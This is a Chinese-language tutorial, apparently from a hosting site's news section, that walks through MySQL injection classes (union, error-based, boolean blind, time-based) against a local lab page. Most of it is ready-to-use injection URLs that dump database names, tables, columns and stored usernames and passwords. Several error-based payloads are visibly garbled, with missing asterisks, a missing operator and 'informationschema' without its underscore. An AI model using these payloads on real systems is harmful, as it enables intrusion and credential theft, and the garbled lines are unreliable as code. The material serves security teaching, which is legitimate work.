下面講講關于MYSQL注入主要有哪些分類,文字的奧妙在于貼近主題相關。所以,閑話就不談了,我們直接看下文吧,相信看完MYSQL注入主要有哪些分類這篇文章你一定會有所受益。
Mysql注入分類:
1.基于錯誤的有顯示位的注入(聯合注入)
(1)判斷注入
and 1=1,http://127.0.0.1/union.php?id=1 and 1=1
![]()
and 1=2,http://127.0.0.1/union.php?id=1 and 1=2
and 1=1輸出結果,and 1=2沒有結果,說明and語句執行成功,可能存在sql注入。
(2) 判斷列
http://127.0.0.1/union.php?id=1 order by 1
http://127.0.0.1/union.php?id=1 order by 2
http://127.0.0.1/union.php?id=1 order by 3
http://127.0.0.1/union.php?id=1 order by 4
查詢當前數據庫中有多少列order by 1、order by 2、order by 3的時候都返回正常, order by 4的時候返回錯誤,那么就可以確定當前有3列。
(3) 爆顯示位
union查詢的時候是把后面的查詢結果拼接到select查詢結果的末尾
http://127.0.0.1/union.php?id=1 union select 1,2,3
使用union select 1,2,3,并沒有輸出顯示位,是因為select語句后有limit 0,1限制,只顯示查詢出的第一行,若id輸入錯誤則不會顯示查詢的id信息。
http://127.0.0.1/union.php?id=-1 union select 1,2,3
id=-1時,此時id輸入錯誤,則輸出顯示位1,2,3。
(4)獲取數據庫
有了顯示位就可以代入相應的顯示位,來查詢我們想要的東西,比如查詢數據庫名
http://127.0.0.1/union.php?id=-1 union select 1,database(),3
獲取到數據庫為s。
(5) 獲取數據表
接著查看s數據庫中的表
http://127.0.0.1/union.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='s'
利用information_schema查詢數據庫中的tables表,查詢出數據庫s中的表為student;
information_schema數據庫中有所有數據庫、所有表、所有列。
(6) 獲取數據列
接下來查詢student表中有哪些列
http://127.0.0.1/union.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='student'
利用information_schema數據庫獲取到student表中有id、username、password三列。
(7)獲取內容
查詢username和password的內容
http://127.0.0.1/union.php?id=-1 union select 1,username,password from student
獲取到student表中username,password列的內容,獲取到用戶root密碼123456。
2.基于錯誤的有數據庫報錯信息的注入(報錯注入)
mysql有十種報錯注入
添加報錯語句if(!$res) { die(mysql_error()); }(1)獲取數據庫版本信息
http://127.0.0.1/union.php?id=1 and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
(2)獲取數據庫信息.
通過控制 LIMIT來控制要獲取的數據庫
http://127.0.0.1/union.php?id=1 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schemaname,0x7e) FROM informationschema.schemata LIMIT 1,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)
(3)獲取當前數據庫的表
同樣是通過控制LIMIT來控制不同的表名。
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
(4)獲取users表的列名
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='student' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
(5)獲取username和password字段的內容
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM student limit 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)
盲注:在執行注入語句時不會有顯示位也不會有數據庫的報錯信息,只是一個正確一個錯誤的顯示頁,當語句執行正確時,頁面會返回正常,當執行錯誤時,就會出現不正常界面,但是不會有任何的數據庫報錯信息。
3.基于錯誤的沒有數據庫報錯信息的盲注
(1)利用聯合查詢union盲注
http://127.0.0.1/union.php?id=1 union select 1,2,‘122’ order by 3
按照第三列進行排序,第三列值前三位若大于122不顯示,如圖未顯示。
http://127.0.0.1/union.php?id=1 union select 1,2,‘126’ order by 3
依此類推,修改第三位的值來獲取信息,第三列值前三位若小于126則顯示,如圖顯示。
(2)不用聯合查詢union盲注(ASCII)
遵循折半查詢的思想。
猜測數據庫名:
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>0
substr(database(),1,1)分割數據庫名字符,從第一個字符開始,每次分割一個字符。
ascii()函數,把分割得到的字符轉換成ASCII值。
如圖,有查詢結果說明數據庫名的第一個字符ascii大于0。
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>120
如圖,無查詢結果說明數據庫名的第一個字符ascii小于120。
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))=115
依次類推得出數據庫名的第一個字符ascii為115,
使用小葵多功能轉換工具轉換出ASCII對應的字符,115為字母s。
然后依次類推可猜出數據庫名。
猜測數據庫的表名:
http://127.0.0.1/union.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='s' limit 0,1),1,1))=115
通過猜測ascii 可得到s數據庫的第一個表的第一個字符串的ascii碼是115,也就是字符s。同理依次進行猜解。
猜詞表中的列名:
http://127.0.0.1/union.php?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1,1))=105
得到student表的第一個列名的第一個字符串的ascii碼105,對應字符i,同理依次進行猜解。
猜解列的內容:
http://127.0.0.1/union.php?id=1 and ascii(substr((select username from student limit 0,1),1,1))=114
username的第一個字符串的ascii碼為114,就是字母r,同理依次進行猜解。
4.基于時間的盲注
基于時間的盲注和基于錯誤的盲注差不多,區別是時間盲注頁面不回有任何回顯,一般通過sleep()函數來判斷我們的sql語句是否執行,從而判斷是否存在注入。
利用火狐的firebug(F12),來監測腳本的執行時間情況
http://127.0.0.1/union.php?id=1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)
猜測數據庫,語句正確執行延遲了3秒。對于以上MYSQL注入主要有哪些分類相關內容,大家還有什么不明白的地方嗎?或者想要了解更多相關,可以繼續關注我們的行業資訊板塊。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。